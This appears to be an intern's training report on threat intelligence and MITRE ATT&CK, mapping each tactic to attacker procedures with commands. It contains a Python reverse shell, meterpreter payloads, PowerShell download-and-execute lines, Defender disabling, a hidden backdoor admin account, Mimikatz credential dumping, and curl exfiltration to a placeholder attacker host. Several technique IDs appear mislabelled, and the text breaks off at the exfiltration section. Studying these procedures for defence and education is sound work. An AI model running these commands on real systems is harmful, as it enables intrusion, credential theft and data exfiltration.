Proof Of Concept (POC) of Threat Intelligence

NAME: NIKHIL SAINI

Intern ID: 440

Threat Intelligence is the **process of gathering, analyzing, and using information** about current and potential cyber threats to **prevent, detect, and respond to cyberattacks** effectively. It provides **contextual insights** about attackers, their tools, their behavior (TTPs), and their motives, so that security teams can make informed decisions to protect systems, networks, and data.

In simple terms:

- **Tactic = Why** the attacker is doing something (objective).
- **Technique = How** the attacker is doing it (method).
- **Sub-technique = More specific 'how'**
- **Procedure = Real-life example of that technique in action.**

Key Elements of Threat Intelligence:

- **Indicators of Compromise (IOCs):** Technical signs of an attack, like IP addresses, file hashes, URLs, etc.
- **Tactics, Techniques, and Procedures (TTPs):** Behavioral patterns of attackers. MITRE ATT&CK is based on these.
- **Threat Actors:** Information about hackers, cybercriminal groups, or state-sponsored attackers.
- **Motivations:** Why attackers are targeting specific organizations — financial gain, espionage, political disruption, etc.

Why Threat Intelligence Is Important

Threat Intelligence plays a **critical role in modern cybersecurity** because it helps organizations **understand the threat landscape**, stay **one step ahead of attackers**, and **respond quickly and effectively** to cyber incidents. Let's explore this in detail:

1. Proactive Defense

Traditional security systems are often reactive—they act only **after** an attack occurs. Threat Intelligence allows an organization to be **proactive** by:

- Identifying potential threats **before** they strike.
- Blocking malicious IPs, domains, or files based on real-time threat feeds.
- Recognizing attack patterns and preparing countermeasures in advance.

2. Better Detection of Threats

Threat Intelligence provides **contextual data** about known and emerging attack techniques. This enables:

- Faster and more accurate detection of suspicious activity.
- Reduction in false positives by understanding what *really* looks dangerous.
- Improved threat hunting by giving analysts a clear picture of attacker behavior (TTPs).

3. Faster Incident Response

When an attack does occur, Threat Intelligence:

- Helps identify the **type of attack** and the **attacker's goals**.
- Provides **playbooks** or **previous case studies** that can guide response teams.
- Speeds up decision-making by showing which systems are at risk and how to contain the threat.

4. Improved Security Controls

With insights from threat intelligence, organizations can:

- Update firewalls, antivirus, and intrusion detection systems (IDS/IPS) with the latest Indicators of Compromise (IOCs).
- Build or adjust **access controls**, **network segmentation**, and **data protection** policies.
- Tailor security training for employees based on the most common threats (e.g., phishing).

5. Targeted and Informed Defenses

Every organization is different—and so are the threats they face. Threat Intelligence helps you:

- Focus on **relevant threats** (e.g., industries, regions, technologies targeted).
- Avoid wasting resources on low-risk issues.
- Prioritize risks that are most likely to affect your systems.

6. Understanding Adversaries

Threat Intelligence helps security teams understand:

- **Who** the attackers are (cybercriminals, hacktivists, state-sponsored groups).
- **What** tools and techniques they use (malware, phishing, ransomware, etc.).
- **Why** they're targeting specific victims (e.g., money, espionage, data theft).

This knowledge is crucial for building long-term security strategies and defenses.

7. Collaboration and Sharing

Threat Intelligence also fosters **information sharing** between organizations, governments, and security communities. This:

- Helps smaller organizations benefit from large-scale threat research.
- Creates a **collective defense** where everyone learns from each attack.

All MITRE ATT&CK Matrices with Explanations

No.	Matrix Name	Domain / Environment	Explanation
1	**Enterprise ATT&CK**	IT (Windows, macOS, Linux, Cloud, SaaS)	Primary matrix with 14 tactics covering attacks on traditional and cloud IT infrastructure.

2	**Mobile ATT&CK**	Mobile Devices (Android, iOS)	Focuses on threats targeting smartphones and tablets using the same 14 tactics as Enterprise.
3	**ICS ATT&CK**	Industrial Systems (SCADA, PLCs, HMIs)	Models attacks on operational technology with 12 tactics including physical disruption.
4	**PRE-ATT&CK** *(Retired)*	Pre-Compromise Phase	Covered pre-attack planning like OSINT, target profiling. Now merged into Recon & Resource Dev.
5	**MITRE ATLAS**	AI/ML Systems	Maps threats to machine learning, including model evasion, poisoning, and model theft.
6	**Automotive Threat Matrix**	Connected Vehicles (CAN, ECU, Telematics)	Custom tactics for vehicle hacking such as firmware tampering or remote injection.
7	**Cloud Matrix**	Cloud Platforms (AWS, Azure, GCP, SaaS)	ATT&CK-style mapping of cloud-specific threats like IAM misuse and misconfigurations.
8	**Container/Kubernetes Matrix**	Containers, Docker, Kubernetes	Container-specific threats like API abuse, poisoned images, and container escapes.
9	**DevOps Threat Matrix**	CI/CD Pipelines, GitHub, Azure DevOps	DevOps-specific attack paths such as poisoned builds and leaked secrets in pipelines.
10	**Cloud Storage Threat Matrix**	S3, Azure Blob, GCP Buckets	Threats involving object storage misuse, including public exposure and data exfiltration.

Tactics (Why)

Tactics are the **strategic objectives** of an attacker. Each tactic represents a **phase** in the attack lifecycle, such as gaining access, running code, stealing credentials, or moving laterally through a network.

According to MITRE ATT&CK :

- Enterprise
- Mobile
- ICS

1.Enterprise Tacktics

Enterprise Tactics are the **high-level strategic goals or objectives** that an adversary (attacker) tries to achieve during different phases of a cyberattack against enterprise systems. Each tactic represents a **specific stage in the attack lifecycle**, showing **why** a certain behavior or action is performed by the attacker—not how it is done.

ID	Name	Description
TA0043	Reconnaissance	The adversary is trying to gather information they can use to plan future operations.
TA0042	Resource Development	The adversary is trying to establish resources they can use to support operations.
TA0001	Initial Access	The adversary is trying to get into your network.
TA0002	Execution	The adversary is trying to run malicious code.
TA0003	Persistence	The adversary is trying to maintain their foothold.
TA0004	Privilege Escalation	The adversary is trying to gain higher-level permissions.
TA0005	Defense Evasion	The adversary is trying to avoid being detected.
TA0006	Credential Access	The adversary is trying to steal account names and passwords.
TA0007	Discovery	The adversary is trying to figure out your environment.
TA0008	Lateral Movement	The adversary is trying to move through your environment.
TA0009	Collection	The adversary is trying to gather data of interest to their goal.

TA0011	Command and Control	The adversary is trying to communicate with compromised systems to control them.
TA0010	Exfiltration	The adversary is trying to steal data.
TA0040	Impact	The adversary is trying to manipulate, interrupt, or destroy your systems and data.

Role of Enterprise Tactics in Cybersecurity:

Role	Importance
Framework Design	Tactics organize the full matrix of techniques in MITRE ATT&CK.
Threat Analysis	Helps analysts understand an attacker's **intent** at each stage of an intrusion.
Blue Teaming	Enables defenders to **map security controls and alerts** to specific tactics.
Red Teaming	Helps ethical hackers simulate realistic attack behaviors based on attacker goals.
Threat Intelligence	Used to classify and share adversary behaviors using a common language.

Tactics in Attack Lifecycle:

Enterprise Tactics are **mapped to real-world attack stages**, such as:

- Gaining access → **Initial Access**
- Running malware → **Execution**
- Staying hidden → **Defense Evasion**
- Stealing data → **Exfiltration**
- Damaging systems → **Impact**

2. Mobile Tactics

Mobile Tactics represent the **strategic objectives** an attacker wants to achieve when attacking a mobile device. These are not specific methods (that's for techniques), but rather the **stage or purpose** behind an attack action.

ID	Name	Description

TA0027	Initial Access	The adversary is trying to get into your device.
TA0041	Execution	The adversary is trying to run malicious code.
TA0028	Persistence	The adversary is trying to maintain their foothold.
TA0029	Privilege Escalation	The adversary is trying to gain higher-level permissions.
TA0030	Defense Evasion	The adversary is trying to avoid being detected.
TA0031	Credential Access	The adversary is trying to steal account names, passwords, or other secrets that enable access to resources.
TA0032	Discovery	The adversary is trying to figure out your environment.
TA0033	Lateral Movement	The adversary is trying to move through your environment.
TA0035	Collection	The adversary is trying to gather data of interest to their goal.
TA0037	Command and Control	The adversary is trying to communicate with compromised devices to control them.
TA0036	Exfiltration	The adversary is trying to steal data.
TA0034	Impact	The adversary is trying to manipulate, interrupt, or destroy your devices and data.
TA0038	Network Effects	The adversary is trying to intercept or manipulate network traffic to or from a device.
TA0039	Remote Service Effects	The adversary is trying to control or monitor the device using remote services.

Example Scenario (Android Malware):

Let's walk through a mobile attack lifecycle using tactics:

1. **Reconnaissance**: Attacker researches victims on social media.
2. **Resource Development**: Creates fake banking app with malware.
3. **Initial Access**: Victim downloads the app from a third-party store.

4. **Execution**: App runs and installs background services.
5. **Persistence**: App auto-starts after reboot using `RECEIVE_BOOT_COMPLETED`.
6. **Privilege Escalation**: App exploits vulnerability to gain root.
7. **Defense Evasion**: Hides icon and uses encrypted C2 communication.
8. **Credential Access**: App mimics login screen to steal banking credentials.
9. **Discovery**: Reads contact list and device metadata.
10. **C2 Communication**: Sends logs and commands from C2 server.
11. **Exfiltration**: Uploads credentials and screenshots to attacker server.
12. **Impact**: Locks the device and demands ransom.

Why Mobile Tactics Matter:

Benefit	Explanation
Structured Defense	Security teams can design mobile-specific defenses based on each tactic stage.
Threat Analysis	Helps understand real-world attacker behavior in mobile environments.
Detection Mapping	Tactics support the mapping of security tools (like EDR, antivirus) to attacker goals.
Awareness & Training	Educates users and developers about mobile threats and attacker strategies.

Example Techniques per Tactic:

Tactic	Technique Example	ID
Initial Access	Drive-by Compromise	T1456
Execution	Exploitation for Client Execution	T1406
Credential Access	Input Capture via Keylogging	T1417
Persistence	Modify System Partition	T1409
Exfiltration	Exfiltration Over Cellular Network	

3. ISC Tactics

ICS Tactics describe the **intent or purpose** of attacker behaviors during various stages of a cyberattack on industrial control systems.
They are the **top layer** of the MITRE ATT&CK for ICS Matrix, organizing **techniques and sub-techniques** used by threat actors to compromise and manipulate industrial operations.

ID	Name	Description
TA0108	Initial Access	The adversary is trying to get into your ICS environment.
TA0104	Execution	The adversary is trying to run code or manipulate system functions, parameters, and data in an unauthorized way.
TA0110	Persistence	The adversary is trying to maintain their foothold in your ICS environment.
TA0111	Privilege Escalation	The adversary is trying to gain higher-level permissions.
TA0103	Evasion	The adversary is trying to avoid security defenses.
TA0102	Discovery	The adversary is locating information to assess and identify their targets in your environment.
TA0109	Lateral Movement	The adversary is trying to move through your ICS environment.
TA0100	Collection	The adversary is trying to gather data of interest and domain knowledge on your ICS environment to inform their goal.
TA0101	Command and Control	The adversary is trying to communicate with and control compromised systems, controllers, and platforms with access to your ICS environment.
TA0107	Inhibit Response Function	The adversary is trying to prevent your safety, protection, quality assurance, and operator intervention functions from responding to a failure, hazard, or unsafe state.
TA0106	Impair Process Control	The adversary is trying to manipulate, disable, or damage physical control processes.

TA0105	Impact	The adversary is trying to manipulate, interrupt, or destroy your ICS systems, data, and their surrounding environment.

Real-World Example: Stuxnet

Phase	Action
Initial Access	Infected USB drives introduced into nuclear facility systems.
Execution	Malware executed and searched for specific Siemens PLCs.
Privilege Escalation	Exploited zero-day vulnerabilities to gain higher access.
Discovery	Mapped out centrifuge control systems.
Inhibit Response Function	Disabled alarms so operators wouldn't detect problems.
Impair Process Control	Sent false commands to speed up or slow down centrifuges.
Impact	Caused physical destruction of Iranian nuclear centrifuges.

Why ICS Tactics Are Critical

Reason	Explanation
Protecting Critical Infrastructure	ICS attacks can stop power grids, water supply, or manufacturing plants—causing national emergencies.
Real-World Safety	ICS failures can cause explosions, fires, or chemical leaks that harm human life.
Different Environment	ICS systems use legacy protocols, long device life cycles, and often lack modern security.
Low Detection	ICS attackers focus on stealth and long-term control rather than quick data theft.

Use Cases of ICS Tactics in Security:

- **Threat Modeling**: Understanding how adversaries might attack a facility like a power plant.

- **Red Team Exercises**: Simulating real ICS attack scenarios for testing defenses.
- **Blue Team Defenses**: Monitoring specific behaviors tied to tactics like “Inhibit Response Function” or “Impair Process Control.”
- **Threat Intel Sharing**: Using shared language to describe ICS-specific threats (e.g., in ISAC reports).

Technique (How)

A **technique** is a **specific method or action** used by a threat actor (attacker) to achieve a particular **tactic**, which is a high-level goal like gaining access, stealing credentials, or executing code.

While a **tactic** explains **what** the attacker wants to do (e.g., "steal credentials"), the **technique** explains **how** they actually do it (e.g., "brute-force login attempts" or "credential dumping").

Tactic (Why)

↳ Technique (How)

↳ Sub-technique (More specific how)

↳ Procedure (Real-world example)

Example:

- **Tactic**: Credential Access (TA0006)
- **Technique**: Brute Force (T1110)
- **Sub-technique**: Password Guessing (T1110.001)
- **Procedure**: “APT28 used Hydra to brute-force RDP credentials.”

What Does a Technique Describe?

- The **purpose** (e.g., steal data, hide presence, run code).
- The **method** (e.g., scripts, malware, physical device access).
- The **targets** (systems, apps, protocols).
- The **indicators** (IOCs: logs, changes, behaviors).

- The **platform** (Windows, macOS, Android, ICS, etc.)

Why Techniques Are Important:

1. **Focus on Attacker Behavior**
   Techniques help defenders understand real-world actions attackers take, beyond just tools or malware names.
2. **Improved Detection & Hunting**
   Security teams use techniques to tune their tools (e.g., SIEM, EDR) to detect specific behaviors.
3. **Threat Intelligence Sharing**
   Using standard techniques makes it easier to share information across organizations.
4. **Red & Blue Team Planning**
   Red teams simulate attack techniques to test defenses; blue teams build defenses based on known techniques.

Tactic: Reconnaissance (TA0043)

The adversary's goal: Gather open-source intelligence about the target to plan attacks.

1. **T1595.001 – Scanning IP Blocks** (sub-technique of T1595)
2. **T1590.002 – DNS** (sub-technique of T1590)
3. **T1589.002 – Email Addresses** (sub-technique of T1589)

Technique 1: T1595.001 – Scanning IP Blocks

Goal: Identify live hosts and open services in a target network range.

Procedure :

- **Step 1:** Define IP range (e.g., `192.168.1.0/24`) in lab.
- **Step 2:** Run ping sweep and port scan:

bash

```
nmap -sn 192.168.1.0/24
nmap -sS -p1-65535 192.168.1.0/24
```

- **Step 3:** Document hosts with live status and open ports.

Outcome: Identifies reachable systems and services for later targeting.

Technique 2: T1590.002 – DNS

Goal: Enumerate DNS records to map subdomains, services, and infrastructure.

Procedure :

- **Step 1:** Use `dig` to collect DNS records:

```
bash

dig target.com ANY
dig target.com MX TXT NS
```

- **Step 2:** Run enumeration tools:

```
Bash
dnsrecon -d target.com -t brt
```

- **Step 3:** Review subdomains, MX records, SPF/TXT, and registrar info.

Outcome: Gathers domain structure that helps locate web, email, or management servers.

Technique 3: T1589.002 – Email Addresses

Goal: Discover corporate email formats for targeted phishing.

Procedure :

- **Step 1:** Leverage OSINT tools like `theHarvester`, `Hunter.io`:

```
bash

theHarvester -d target.com -b google
```

- **Step 2:** Use Google Dorking manually:

```
css

site:target.com "@target.com"
```

- **Step 3:** Extract patterns (e.g., `firstname.lastname@target.com`) and save for social engineering.

Outcome: Valid email addresses for phishing and impersonation campaigns.

Tactic: Resource Development (TA0042)

The adversary's goal: Prepare infrastructure, tools, and accounts for future operations.

1. **T1583.001 – Domains** (sub-technique of T1583)
2. **T1587.001 – Malware** (sub-technique of T1587)
3. **T1586.003 – Cloud Accounts** (sub-technique of T1586 – Compromise Accounts)

Technique 1: T1583.001 – Domains

Goal: Acquire domain names for phishing, hosting C2, or spoofing.

Procedure :

Step 1: Use registrar (e.g. Namecheap) to register a domain like `login-secure.com`.

Step 2: Configure DNS (A record) pointing to attacker-hosted IP (VPS).

Step 3: Enable privacy/proxy WHOIS to hide ownership.

Outcome: A functional domain ready to host phishing pages or C2 servers.

Technique 2: T1587.001 – Malware

Goal: Develop a simple payload (e.g. backdoor) for later delivery.

Procedure :

- **Step 1:** Write a Python reverse shell (`backdoor.py`):

```
python

import socket, subprocess, os
s=socket.socket()
s.connect(("attacker-ip",4444))
os.dup2(s.fileno(),0) ; os.dup2(s.fileno(),1) ; os.dup2(s.fileno(),2)
subprocess.call(["/bin/sh"])
```

- **Step 2:** Convert to executable using PyInstaller or pkg:

```
bash

pyinstaller --onefile backdoor.py
```

- **Step 3:** Store compiled binary on infrastructure (e.g. attacker server).

Outcome: Working payload saved for execution via later phases (Execution or Staging).

Technique 3: T1586.003 – Cloud Accounts

Goal: Use or simulate compromised cloud service accounts for hosting payloads or distributing phishing.

Procedure (PoC):

Step 1: Create a free-tier cloud account (e.g., AWS, Azure) using fake lab identity.

Step 2: Generate credentials and configure CLI (e.g. `aws configure`).

Step 3: Upload payload or phishing site to cloud storage (e.g. S3, Blob).

```
bash
aws s3 cp backdoor.exe s3://my-test-bucket/backdoor.exe
```

Step 4: Host via public link or use as delivery infrastructure.

Outcome: Cloud account becomes hosting or distribution point for attacker resources.

Tactic: Initial Access (TA0001)

The adversary's goal: Gain entry into the target environment.

We'll use three Initial Access techniques:

1. T1566.001 – Spearphishing Attachment
2. T1190 – Exploit Public-Facing Application
3. T1078 – Valid Accounts

Technique 1: T1566.001 – Spearphishing Attachment (Sub-technique of T1566)

Goal: Deliver a malicious document to the user and trigger code execution.

Procedure:

Step 1: Create a macro-enabled Word document using `msfvenom`:

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=attacker_ip
LPORT=4444 -f vba > macro.txt
```

Step 2: Embed macro into Word document (.docm).

Step 3: Send the document via phishing email in a controlled test.

Step 4: User opens document and enables macros.

Step 5: Meterpreter session opens on attacker machine.

Outcome: Attacker gains initial access to the host.

Technique 2: T1190 – Exploit Public-Facing Application

Goal: Use a known vulnerability in a web app to gain access.

Procedure:

Step 1: Identify a vulnerable app version (e.g., WordPress plugin).

Step 2: Set up exploit script (e.g., CVE-based exploit).

Step 3: Launch attack:

```
python exploit.py --rhost victim_ip --payload revshell
```

Step 4: Set listener:

```
nc -lvnp 4444
```

Step 5: Catch shell.

Outcome: Remote shell is gained through web app exploit.

Technique 3: T1078 – Valid Accounts

Goal: Use legitimate credentials to access the system.

Procedure:

Step 1: Obtain credentials via OSINT or phishing in a safe lab.

Step 2: Authenticate via SSH:

```
ssh user@target-ip
```

Step 3: Enumerate access.

Outcome: Access achieved through stolen or guessed credentials.

Tactic: Execution (TA0002)

The adversary's goal: Run malicious code on a target system.

We'll use three Execution techniques:

1. T1059 – Command and Scripting Interpreter
2. T1204.002 – User Execution: Malicious File
3. T1651 – Cloud Administration Command

Technique 1: T1059 – Command and Scripting Interpreter

Goal: Execute attacker-controlled script (PowerShell).

Procedure:

Step 1: Create `payload.ps1` with:

```
Invoke-WebRequest http://attacker/malware.exe -OutFile malware.exe
Start-Process malware.exe
```

Step 2: Deliver via phishing or USB.

Step 3: Target runs:

```
powershell.exe -ExecutionPolicy Bypass -File payload.ps1
```

Outcome: Code executes under user context.

Technique 2: T1204.002 – User Execution: Malicious File (Sub-technique of T1204)

Goal: Trick user into executing a macro-enabled document.

Procedure:

Step 4: Embed macro in Word document that runs PowerShell.

Step 5: Deliver via spearphishing.

Step 6: Victim opens and enables macros.

```
Shell "powershell.exe -File \\attacker\payload.ps1"
```

Outcome: Executes remote script from attacker.

Technique 3: T1651 – Cloud Administration Command

Goal: Use cloud console tools to run malicious commands.

Procedure:

Step 7: Use Azure RunCommand:

```
az vm run-command invoke -g Group -n VM --command-id
RunPowerShellScript --scripts "Invoke-WebRequest http://attacker/m.exe
-OutFile C:\\temp\\m.exe; Start-Process C:\\temp\\m.exe"
```

Step 8: Or AWS SSM:

```
aws ssm send-command --instance-ids i-012345 --document-name AWS-
RunPowerShellScript --parameters 'commands=["Invoke-WebRequest
http://attacker/m.exe -OutFile C:\\temp\\m.exe", "Start-Process
C:\\temp\\m.exe"]'
```

Outcome: Malware runs in cloud VM without user login.

Tactic: Persistence (TA0003)

The adversary's goal: Maintain access to systems through reboots, shutdowns, or credential changes.

We'll use three Persistence techniques:

1. T1547.001 – Registry Run Keys/Startup Folder (Sub-technique of T1547)
2. T1053.005 – Scheduled Task/Job (Sub-technique of T1053)
3. T1136.001 – Create Account: Local Account (Sub-technique of T1136)

Technique 1: T1547.001 – Registry Run Keys/Startup Folder

Goal: Ensure payload executes automatically at user login.

Procedure:

Step 1: Place payload.exe in `C:\Tools\payload.exe`.

Step 2: Open CMD as Administrator.

Step 3: Run registry command:

```
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v updater
/t REG_SZ /d "C:\\Tools\\payload.exe"
```

Step 4: Restart or re-login.

Outcome: Payload launches at each user login.

Technique 2: T1053.005 – Scheduled Task (Sub-technique of T1053)

Goal: Create a task that periodically runs malicious code.

Procedure:

Step 1: Copy payload.exe to `C:\ProgramData\payload.exe`.

Step 2: Open terminal as Administrator.

Step 3: Schedule recurring task:

```
schtasks /create /tn updater /tr "C:\\ProgramData\\payload.exe" /sc
minute /mo 5 /ru SYSTEM
```

Step 4: Verify or run manually:

```
schtasks /run /tn updater
```

Outcome: Payload executes every 5 minutes.

Technique 3: T1136.001 – Create Local Account (Sub-technique of T1136)

Goal: Create a backdoor admin account for future access.

Procedure:

Step 1: Open CMD as Administrator.

Step 2: Create account:

```
net user stealthadmin Pass123! /add
```

Step 3: Add to admin group:

```
net localgroup administrators stealthadmin /add
```

Step 4: (Optional) Hide user from login:

```
reg add "HKLM\Software\Microsoft\Windows
NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v stealthadmin
/t REG_DWORD /d 0 /f
```

Outcome: Hidden local admin account is created and ready for future access.

Tactic : Privilege Escalation

Privilege escalation tactics involve gaining higher-level permissions, often to execute malicious payloads or maintain persistence.

Technique 1: Abuse Elevation Control Mechanism (T1548)

1. **Objective:** Bypass UAC (User Account Control) or use sudo inappropriately.
2. **Tool:**
    a. Windows: UAC bypass via `fodhelper.exe` or `eventvwr.exe`
    b. Linux: Sudo misconfiguration
3. **Example:**
    a. Windows: Place malicious binary in a hijackable path called by `fodhelper.exe`
    b. Linux: If `sudo` allows command without password → `sudo <command>`
4. **Detection:** Monitor for suspicious parent-child process relationships.
5. **Purpose:** Gain administrator/root privileges without authorization.

Technique 2: Exploitation for Privilege Escalation (T1068)

1. **Objective:** Exploit kernel or service-level vulnerabilities.
2. **Tool:** Public exploits (e.g., DirtyPipe, PrintNightmare, CVE-2023-21752)
3. **Procedure:**
    a. Identify OS version.
    b. Match with known vulnerabilities.
    c. Use exploit code to gain SYSTEM or root.
4. **Detection:** Monitor for anomalous driver loading or process injection.
5. **Impact:** Attacker now has full control over the host.

Technique 3: Valid Accounts - Local Admin (T1078.003)

1. **Objective:** Use stolen or default credentials to log in as a local admin.
2. **Tool:** Command line, PsExec, RDP, or SMB
3. **Command Example:**
    a. `net use \\target\C$ /user:Administrator <password>`

4. **Expected Output:** Authenticated session on target machine.
5. **Impact:** Provides high-level access for lateral movement or persistence.

Tactic: Defense Evasion (TA0005)

The adversary's goal: Avoid detection and conceal their activity.

We'll use three Defense Evasion techniques:

1. T1562.001 – Disable or Modify Tools (Sub-technique of T1562)
2. T1027 – Obfuscated Files or Information
3. T1070.004 – File Deletion (Sub-technique of T1070)

Technique 1: T1562.001 – Disable or Modify Tools

Goal: Disable security software or EDR tools.

Procedure:

Step 1: Identify running AV processes:

```
Get-Process | Where-Object {$_.Name -like "*defender*"}
```

Step 2: Attempt to stop the service (lab only):

```
sc stop WinDefend
```

Step 3: Disable it:

```
sc config WinDefend start= disabled
```

Outcome: Defender is disabled (admin access required).

Technique 2: T1027 – Obfuscated Files or Information

Goal: Hide the true intent of a script or executable.

Procedure:

Step 1: Encode PowerShell script in Base64:

```
$command = 'Invoke-WebRequest http://attacker/m.exe -OutFile m.exe;
Start-Process m.exe'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
```

Step 2: Execute encoded command:

```
powershell.exe -EncodedCommand <encoded>
```

Outcome: Obfuscated command bypasses string detection.

Technique 3: T1070.004 – File Deletion

Goal: Remove evidence of payloads or logs.

Procedure:

Step 1: Delete dropped files:

```
del C:\Users\victim\Downloads\payload.exe
```

Step 2: Clear PowerShell logs (lab only):

```
Remove-Item -Path "C:\Windows\System32\winevt\Logs\Windows
PowerShell.evtx"
```

Outcome: Artifacts are deleted from disk.

Tactic: Credential Access (TA0006)

The adversary's goal: Steal usernames, passwords, and other authentication secrets.

We'll use three Credential Access techniques:

1. T1003.001 – LSASS Memory (Sub-technique of T1003)
2. T1056.001 – Input Capture: Keylogging (Sub-technique of T1056)
3. T1552.001 – Credentials in Files (Sub-technique of T1552)

Technique 1: T1003.001 – LSASS Memory

Goal: Dump credentials from LSASS.

Procedure:

Step 1: On Windows, use Mimikatz in a test VM:

```
privilege::debug
token::elevate
sekurlsa::logonpasswords
```

Step 2: Extract hashes or clear-text credentials.

Outcome: NTLM hashes and plaintext passwords are retrieved.

Technique 2: T1056.001 – Keylogging

Goal: Capture keystrokes from target user.

Procedure:

Step 1: Use an open-source tool like `logkeys` on Linux:

```
sudo logkeys --start --output /tmp/keys.log
```

Step 2: On Windows, write a simple keylogger script (lab only).

Outcome: Captured keystrokes are logged for credential reuse.

Technique 3: T1552.001 – Credentials in Files

Goal: Extract hardcoded or stored credentials from files.

Procedure:

Step 1: Search filesystem for `.env`, `.txt`, `.ps1`, and `.config` files:

```
find / -type f \( -name "*.env" -o -name "*.txt" -o -name "*.ps1" \)
```

Step 2: Grep for keywords:

```
grep -i -E 'pass|key|secret|token' *.env
```

Outcome: Credentials found in plaintext files.

Tactic: Discovery

The *Discovery* tactic involves techniques adversaries use to gain knowledge about the system and internal environment.

Technique 1: System Information Discovery (T1082)

1. **Objective:** Identify the host operating system and hardware details.
2. **Tool:** Built-in OS commands (Windows/Linux/macOS)
3. **Command:**
    a. Windows: `systeminfo`
    b. Linux/macOS: `uname -a` and `lsb_release -a`
4. **Expected Output:** OS version, architecture, installed memory, etc.
5. **Purpose:** Helps attackers tailor payloads and escalation paths.

Technique 2: File and Directory Discovery (T1083)

1. **Objective:** Locate sensitive or interesting files.
2. **Tool:** OS-level commands
3. **Command:**
    a. Windows: `dir /s /b C:\Users\`
    b. Linux/macOS: `find /home -type f`

4. **Expected Output:** List of files recursively, can identify credentials, configs, etc.
5. **Use Case:** Adversaries may look for SSH keys, password files, or business documents.

Technique 3: Network Share Discovery (T1135)

1. **Objective:** Find shared folders or drives on the network.
2. **Tool:** OS commands or tools like `net view`
3. **Command:**
    a. Windows: `net view \\<hostname>`
    b. Linux: `smbclient -L //<target> -N`
4. **Expected Output:** Lists shared folders accessible over SMB.
5. **Purpose:** Enables lateral movement or data theft.

Tactic: Lateral Movement (TA0008)

The adversary's goal: Move between systems within the network after gaining initial access.

1. T1021.002 – SMB/Windows Admin Shares (Sub-technique of T1021)
2. T1075.001 – Remote Desktop Protocol (RDP) (Sub-technique of T1075)
3. T1563.002 – Remote Services: SMB/Windows Admin Shares (Sub-technique of T1563)

Technique 1: T1021.002 – SMB/Windows Admin Shares

Goal: Use legitimate SMB shares for file transfer and remote execution.

Procedure:

Step 1: Use stolen credentials to connect:

```
net use \\target\C$ /user:admin password
```

Step 2: Copy payload:

```
copy payload.exe \\target\C$\Users\Public
```

Step 3: Execute via `psexec`:

```
psexec.exe \\target -u admin -p password C:\Users\Public\payload.exe
```

Outcome: Remote code executed using SMB and admin shares.

Technique 2: T1075.001 – Remote Desktop Protocol (RDP)

Goal: Use RDP for GUI-based lateral movement.

Procedure:

Step 1: Use valid credentials to connect:

```
mstsc /v:target-ip
```

Step 2: Upload tools or execute commands.

Step 3: Optionally use `rdesktop` or `xfreerdp` on Linux.

Outcome: Attacker gains interactive access to target desktop.

Technique 3: T1563.002 – Remote Services: SMB

Goal: Abuse SMB to trigger remote service execution.

Procedure:

Step 1: Enable remote service interface (if not already active).

Step 2: Use `wmic` or PowerShell:

```
Invoke-Command -ComputerName target -ScriptBlock { Start-Process
'C:\Users\Public\payload.exe' }
```

Outcome: Commands executed via authenticated SMB sessions.

Tactic: Collection (TA0009)

The adversary's goal: Gather sensitive data from target systems.

We'll use three Collection techniques:

1. T1005 – Data from Local System
2. T1114.001 – Email Collection: Local Email Clients (Sub-technique of T1114)
3. T1113 – Screen Capture

Technique 1: T1005 – Data from Local System

Goal: Collect files from target machine.

Procedure:

Step 1: Search for file types:

```
find / -name "*.pdf" -o -name "*.docx" -o -name "*.xls"
```

Step 2: Copy to attacker-controlled folder.

Outcome: Files with sensitive data are staged for exfiltration.

Technique 2: T1114.001 – Local Email Clients

Goal: Dump Outlook or Thunderbird email content.

Procedure:

Step 1: Locate PST/OST files in `%LOCALAPPDATA%\Microsoft\Outlook`.

Step 2: Use `readpst` or MFCMapi to extract.

Outcome: Attacker gains access to email history and attachments.

Technique 3: T1113 – Screen Capture

Goal: Take screenshots of user sessions.

Procedure:

Step 1: Use built-in PowerShell or third-party tool:

```
Add-Type -AssemblyName System.Windows.Forms
Add-Type -AssemblyName System.Drawing
$bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds
$bitmap = New-Object System.Drawing.Bitmap $bounds.Width,
$bounds.Height
$graphics = [System.Drawing.Graphics]::FromImage($bitmap)
$graphics.CopyFromScreen($bounds.Location,
[System.Drawing.Point]::Empty, $bounds.Size)
$bitmap.Save('C:\Users\Public\screenshot.png')
```

Outcome: Captured screen images saved locally.

Tactic: Command and Control (TA0011)

The adversary's goal: Maintain communications with compromised systems.

1. T1071.001 – Web Protocols (Sub-technique of T1071)
2. T1105 – Ingress Tool Transfer
3. T1573.001 – Encrypted Channel: Symmetric Cryptography (Sub-technique of T1573)

Technique 1: T1071.001 – Web Protocols

Goal: Use HTTP/S for communication.

Procedure:

Step 1: Set up C2 framework (e.g., Cobalt Strike or Empire).

Step 2: Configure HTTP beacon.

Step 3: Deliver stager to victim and initiate callback:

```
IEX(New-Object
Net.WebClient).DownloadString('http://attacker/beacon.ps1')
```

Outcome: Beaconing initiated over HTTP.

Technique 2: T1105 – Ingress Tool Transfer

Goal: Transfer tools from external to internal system.

Procedure:

Step 1: Host tool on attacker server.

Step 2: Use PowerShell to download:

```
Invoke-WebRequest http://attacker/tools.exe -OutFile tools.exe
```

Step 3: Execute downloaded tool.

Outcome: External payload transferred and executed.

Technique 3: T1573.001 – Encrypted Channel (Symmetric)

Goal: Communicate securely with C2 server.

Procedure:

Step 1: Use Metasploit with HTTPS listener:

```
msfconsole -x "use exploit/multi/handler; set payload
windows/meterpreter/reverse_https; set LHOST attacker_ip; run"
```

Step 2: Payload connects to handler over TLS.

Outcome: Traffic encrypted, bypassing network inspection.

Tactic: Exfiltration (TA0010)

The adversary's goal: Steal data from the victim's network to external locations.

1. T1048.002 – Exfiltration Over HTTPS (Sub-technique of T1048)
2. T1567.002 – Exfiltration Over Web Service: Exfil via Cloud Storage (Sub-technique of T1567)
3. T1052.001 – Exfiltration Over Physical Medium: USB (Sub-technique of T1052)

Technique 1: T1048.002 – HTTPS

Goal: Send data to external server over HTTPS.

Procedure:

Step 1: Archive data:

```
tar czf data.tar.gz /path/to/collected/files
```

Step 2: Send using curl or PowerShell:

```
curl -X POST -F 'file=@data.tar.gz' https://attacker/upload
```

Outcome: Exfiltrated data appears as normal HTTPS traffic.

Technique 2: T1567.002 – Cloud Storage

